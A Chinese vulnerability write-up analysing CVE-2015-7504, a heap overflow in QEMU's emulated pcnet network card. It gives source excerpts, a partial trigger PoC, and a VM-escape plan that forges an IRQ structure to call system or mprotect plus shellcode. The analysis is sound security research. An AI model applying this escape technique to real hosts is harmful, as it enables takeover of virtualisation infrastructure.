作者:raycp
原文来自安全客:https://www.anquanke.com/post/id/197638

cve-2015-7504是pcnet网卡中的一个堆溢出漏洞,可以溢出四字节,通过构造特定的数据可以劫持程序执行流,结合前面的cve-2015-5165中的信息泄露,便可以实现任意代码执行。

漏洞分析

首先仍然是先介绍pcnet网卡的部分信息。

网卡有16位和32位两种模式,这取决于DWIO(存储在网卡上的变量)的实际值,16位模式是网卡重启后的默认模式。网卡有两种内部寄存器:CSR(控制和状态寄存器)和BCR(总线控制寄存器)。两种寄存器都需要通过设置对应的我们要访问的RAP(寄存器地址端口)寄存器来实现对相应CSR或BCR寄存器的访问。

网卡的配置可以通过填充一个初始化结构体,并将该结构体的物理地址传送到网卡(通过设置CSR[1]和CSR[2])来完成,结构体定义如下:

struct pcnet_config {
    uint16_t  mode;      /* working mode: promiscusous, looptest, etc. */
    uint8_t   rlen;      /* number of rx descriptors in log2 base */
    uint8_t   tlen;      /* number of tx descriptors in log2 base */
    uint8_t   mac[6];    /* mac address */
    uint16_t _reserved;
    uint8_t   ladr[8];   /* logical address filter */
    uint32_t  rx_desc;   /* physical address of rx descriptor buffer */
    uint32_t  tx_desc;   /* physical address of tx descriptor buffer */
};

漏洞代码在./hw/net/pcnet.cpcnet_receive函数中,关键代码如下:

ssize_t print pcnet_receive(NetClientState *nc, const uint8_t *buf, size_t size_)
{
    int size = size_;
    PCNetState *s = qemu_get_nic_opaque(nc);
    ...

                uint8_t *src = s->buffer;
                    ....
            } else if (s->looptest == PCNET_LOOPTEST_CRC ||
                       !CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) {
                uint32_t fcs = ~0;
                uint8_t *p = src;

                while (p != &src[size])
                    CRC(fcs, *p++);
                *(uint32_t *)p = htonl(fcs); //将crc值写到数据包的末尾
                size += 4;
...
    pcnet_update_irq(s);

    return size_;
}

s->buffer是网卡接收的数据,size是数据大小,可以看到代码计算出当前数据包的crc值并写到了数据包的末尾。但是当size刚好为s->buffer的大小时,会导致最后会将crc值越界到缓冲区之外,溢出的数据为数据包中的crc值。

接下来看越界会覆盖什么,s的定义是PCNetState,定义如下:

struct PCNetState_st {
    NICState *nic;
    NICConf conf;
    QEMUTimer *poll_timer;
    int rap, isr, lnkst;
    uint32_t rdra, tdra;
    uint8_t prom[16];
    uint16_t csr[128];
    uint16_t bcr[32];
    int xmit_pos;
    uint64_t timer;
    MemoryRegion mmio;
    uint8_t buffer[4096];
    qemu_irq irq;
    void (*phys_mem_read)(void *dma_opaque, hwaddr addr,
                         uint8_t *buf, int len, int do_bswap);
    void (*phys_mem_write)(void *dma_opaque, hwaddr addr,
                          uint8_t *buf, int len, int do_bswap);
    void *dma_opaque;
    int tx_busy;
    int looptest;
};

可以看到buffer的大小为4096,当size4096时,会使得crc覆盖到后面的qemu_irq irq低四字节。irq的定义是typedef struct IRQState *qemu_irq,为一个指针。溢出会覆盖该结构体指针的低四字节,该结构体定义如下:

struct IRQState {
    Object parent_obj;

    qemu_irq_handler handler;
    void *opaque;
    int n;
};

在覆盖率变量irq的第四字节后,在程序的末尾有一个pcnet_update_irq(s);的函数调用,该函数中存在对qemu_set_irq函数的调用,由于可控irq,所以可控irq->handler,使得有可能控制程序执行流。

void qemu_set_irq(qemu_irq irq, int level)
{
    if (!irq)
        return;

    irq->handler(irq->opaque, irq->n, level);
}

可以看到覆盖的值的内容是数据包的crc校验的值,该值是可控的。我们可以通过构造特定的数据包得到我们想要的crc校验的值,有需要可以去看具体原理,因此该漏洞可实现将irq指针低四字节覆盖为任意地址的能力。

再看如何触发漏洞pcnet_receive函数,找到调用它的函数pcnet_transmit,需要设置一些标志位如BCR_SWSTYLE等才能触发函数:

static void pcnet_transmit(PCNetState *s)
{
    hwaddr xmit_cxda = 0;
    int count = CSR_XMTRL(s)-1;
    int add_crc = 0;
    int bcnt;
    s->xmit_pos = -1;

                ...
        if (s->xmit_pos + bcnt > sizeof(s->buffer)) {
            s->xmit_pos = -1;
            goto txdone;
        }

        ...
        if (CSR_LOOP(s)) {
            if (BCR_SWSTYLE(s) == 1)
                add_crc = !GET_FIELD(tmd.status, TMDS, NOFCS);
            s->looptest = add_crc ? PCNET_LOOPTEST_CRC : PCNET_LOOPTEST_NOCRC;
            pcnet_receive(qemu_get_queue(s->nic), s->buffer, s->xmit_pos);
            s->looptest = 0;
        } else {
            ...

再看调用pcnet_transmit的函数:一个是在pcnet_csr_writew中调用;一个是在pcnet_poll_timer中。

主要看pcnet_csr_writew函数,它被pcnet_ioport_writew调用,了io_port函数,可以去对程序流程进行分析了。

void pcnet_ioport_writew(void *opaque, uint32_t addr, uint32_t val)
{
    PCNetState *s = opaque;
    pcnet_poll_timer(s);
#ifdef PCNET_DEBUG_IO
    printf("pcnet_ioport_writew addr=0x%08x val=0x%04x\n", addr, val);
#endif
    if (!BCR_DWIO(s)) {
        switch (addr & 0x0f) {
        case 0x00: /* RDP */
            pcnet_csr_writew(s, s->rap, val);
            break;
        case 0x02:
            s->rap = val & 0x7f;
            break;
        case 0x06:
            pcnet_bcr_writew(s, s->rap, val);
            break;
        }
    }
    pcnet_update_irq(s);
}

流程分析

因为流程中很多关键数据都是使用CSR(控制和状态寄存器)表示的,这些寄存器各个位的意义看起来又很麻烦,所以这次流程分析更多的是基于poc的流程。

先看网卡信息,I/O端口为0xc140,大小为32:

root@ubuntu:~# lspci -v -s 00:05.0
00:05.0 Ethernet controller: Advanced Micro Devices, Inc. [AMD] 79c970 [PCnet32 LANCE] (rev 10)
        Flags: bus master, medium devsel, latency 0, IRQ 10
        I/O ports at c140 [size=32]
        Memory at febf2000 (32-bit, non-prefetchable) [size=32]
        Expansion ROM at feb80000 [disabled] [size=256K]
        Kernel driver in use: pcnet32
lspci: Unable to load libkmod resources: error -12

再看./hw/net/pcnet-pci.c中的realize函数中的pmio空间的相关声明:

memory_region_init_io(&d->io_bar, OBJECT(d), &pcnet_io_ops, s, "pcnet-io",
                          PCNET_IOPORT_SIZE);

#define PCNET_IOPORT_SIZE       0x20    

static const MemoryRegionOps pcnet_io_ops = {
    .read = pcnet_ioport_read,
    .write = pcnet_ioport_write,
    .endianness = DEVICE_LITTLE_ENDIAN,
};

static void pcnet_ioport_write(void *opaque, hwaddr addr,
                               uint64_t data, unsigned size)
{
    PCNetState *d = opaque;

    trace_pcnet_ioport_write(opaque, addr, data, size);
    if (addr < 0x10) {
        ...
    }
}

static uint64_t pcnet_ioport_read(void *opaque, hwaddr addr,
                                  unsigned size)
{
    PCNetState *d = opaque;

    trace_pcnet_ioport_read(opaque, addr, size);
    if (addr < 0x10) {
       ...
        }
    } else {
        if (size == 2) {
            return pcnet_ioport_readw(d, addr);
        } else if (size == 4) {
            return pcnet_ioport_readl(d, addr);
        }
    }
    return ((uint64_t)1 << (size * 8)) - 1;
}

可以看到当addr大于0x10时,会根据size的大小调用相对应的pcnet_ioport_readw以及pcnet_ioport_readl

poc中关键代码如下:

                /* soft reset */
        inl(PCNET_PORT + 0x18);
        inw(PCNET_PORT + RST);

        /* set swstyle */
        outw(58, PCNET_PORT + RAP);
        outw(0x0102, PCNET_PORT + RDP);

        /* card config */
        outw(1, PCNET_PORT + RAP);
        outw(lo, PCNET_PORT + RDP);
        outw(2, PCNET_PORT + RAP);
        outw(hi, PCNET_PORT + RDP);

        /* init and start */
        outw(0, PCNET_PORT + RAP);
        outw(0x3, PCNET_PORT + RDP);

        sleep(2);

        pcnet_packet_send(&pcnet_tx_desc, pcnet_tx_buffer, pcnet_packet,
                          PCNET_BUFFER_SIZE);

首先是先调用inl以及inw去初始化网卡,在readw中0x14对应的会调用pcnet_s_reset函数,readl函数中0x18也会调用该函数。该函数会将网卡进行初始化,包括设置为16位模式以及设置状态为stop状态等。

static void pcnet_s_reset(PCNetState *s)
{
    trace_pcnet_s_reset(s);

    s->rdra = 0;
    s->tdra = 0;
    s->rap = 0;

    s->bcr[BCR_BSBC] &= ~0x0080;  //设置16位模式

    s->csr[0]   = 0x0004;    //设置state为stop状态
    ...

    s->tx_busy = 0;
}

先看下pcnet_ioport_writew的定义:

void pcnet_ioport_writew(void *opaque, uint32_t addr, uint32_t val)
{
    PCNetState *s = opaque;
    pcnet_poll_timer(s);
#ifdef PCNET_DEBUG_IO
    printf("pcnet_ioport_writew addr=0x%08x val=0x%04x\n", addr, val);
#endif
    if (!BCR_DWIO(s)) {
        switch (addr & 0x0f) {
        case 0x00: /* RDP */
            pcnet_csr_writew(s, s->rap, val);
            break;
        case 0x02:
            s->rap = val & 0x7f;
            break;
        case 0x06:
            pcnet_bcr_writew(s, s->rap, val);
            break;
        }
    }
    pcnet_update_irq(s);
}


static void pcnet_csr_writew(PCNetState *s, uint32_t rap, uint32_t new_value)
{
    uint16_t val = new_value;
#ifdef PCNET_DEBUG_CSR
    printf("pcnet_csr_writew rap=%d val=0x%04x\n", rap, val);
#endif
    switch (rap) {
    case 0:
        s->csr[0] &= ~(val & 0x7f00); /* Clear any interrupt flags */

        s->csr[0] = (s->csr[0] & ~0x0040) | (val & 0x0048);

        val = (val & 0x007f) | (s->csr[0] & 0x7f00);

        /* IFF STOP, STRT and INIT are set, clear STRT and INIT */
        if ((val&7) == 7)
          val &= ~3;

        if (!CSR_STOP(s) && (val & 4))
            pcnet_stop(s);

        if (!CSR_INIT(s) && (val & 1))
            pcnet_init(s);

        if (!CSR_STRT(s) && (val & 2))
            pcnet_start(s);

        if (CSR_TDMD(s))
            pcnet_transmit(s);

        return;
    ...

    s->csr[rap] = val; //设置csr寄存器值
}

可以看到我们可以通过设置addr0x12来设置s->rap,然后再通过addr为0x100x16来操作csr寄存器或bcr寄存器,而设置好的s->rap则是csr寄存器或bcr寄存器的索引。

因此操作都需要两条指令才能进行,先通过s->rap设置好索引,再去操作相应的寄存器,如poc中需要将pcnet的配置结构体传递给网卡,需要将该结构体物理地址赋值给csr[1]以及csr[2],则需要先将s->rap设置为1再去将地址的值赋值:

                /* card config */
        outw(1, PCNET_PORT + RAP);
        outw(lo, PCNET_PORT + RDP);
        outw(2, PCNET_PORT + RAP);
        outw(hi, PCNET_PORT + RDP);

配置好网卡后,通过pcnet_init以及pcnet_start将网卡启动起来,再将构造的数据发送出去就触发了漏洞。

漏洞利用

该漏洞的利用需要结合之前cve-2015-5165的信息泄露,基于信息泄露得到了程序基址以及相应的堆地址后,便可实现任意代码执行。

先看内存结构原有的内存结构,将断点下在pcnet_receive函数,运行poc:

pwndbg> print s
$2 = (PCNetState *) 0x5565a78d0840
pwndbg> vmmap s
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x5565a66f1000     0x5565a7f15000 rw-p  1824000 0      [heap]
pwndbg> print s->irq
$3 = (qemu_irq) 0x5565a78d6740
pwndbg> vmmap s->irq
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x5565a66f1000     0x5565a7f15000 rw-p  1824000 0      [heap]
pwndbg> print &s->buffer
$5 = (uint8_t (*)[4096]) 0x5565a78d2ad0
pwndbg> vmmap &s->buffer
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x5565a66f1000     0x5565a7f15000 rw-p  1824000 0      [heap]

可以看到irq指针的值为堆地址,而我们可控的网卡的数据也在堆上。

利用思路就比较清楚了,将irq指针的低四位覆盖指向s->buffer中的某处,并在该处伪造好相应的irq结构体,如将handler伪造为system plt的地址,将opaque伪造为堆中参数cat flag的地址。

struct IRQState {
    Object parent_obj;

    qemu_irq_handler handler;
    void *opaque;
    int n;
};

system plt地址可通过objdump获得:

$ objdump -d -j .plt ./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64  | grep system
./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64:     file format elf64-x86-64
000000000009cf90 <system@plt>:
   9cf90:       ff 25 a2 14 7d 00       jmpq   *0x7d14a2(%rip)        # 86e438 <system@GLIBC_2.2.5>

需要提一下的是,QEMU Case Study中则是调用mprotect函数来先将内存设置为可执行,然后再执行shellcode。但是看起来似乎无法控制第三个参数的值,因为level是由父函数pcnet_update_irq传递过来的:

void qemu_set_irq(qemu_irq irq, int level)
{
    if (!irq)
        return;

    irq->handler(irq->opaque, irq->n, level);
}

该文章中的解决方法是构造了两个irq,第一个函数指针指向了qemu_set_irq,将opque设置为第二个irq的地址,irq->n设置为7;第二个irq则将handler设置为mprotectopaque设置为对应的地址,n设置为相应的地址,以此来实现第三个参数的控制。当mprotect成功执行后,再通过网卡数据的设置,控制执行流重新执行shellcode的地址,实现利用。

小结

两个很经典的漏洞结合实现了任意代码执行,值得学习。

相应的脚本和文件链接

参考链接

  1. [翻译]虚拟机逃逸——QEMU的案例分析(一)
  2. [翻译]虚拟机逃逸——QEMU的案例分析(二)
  3. [翻译]虚拟机逃逸——QEMU的案例分析(三)
  4. QEMU Case Study
  5. qemu 逃逸漏洞解析CVE-2015-5165 和 CVE-2015-7504 漏洞原理与利用
  6. 【漏洞分析】前往黑暗之门!Debugee in QEMU
  7. Reversing CRC

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1361/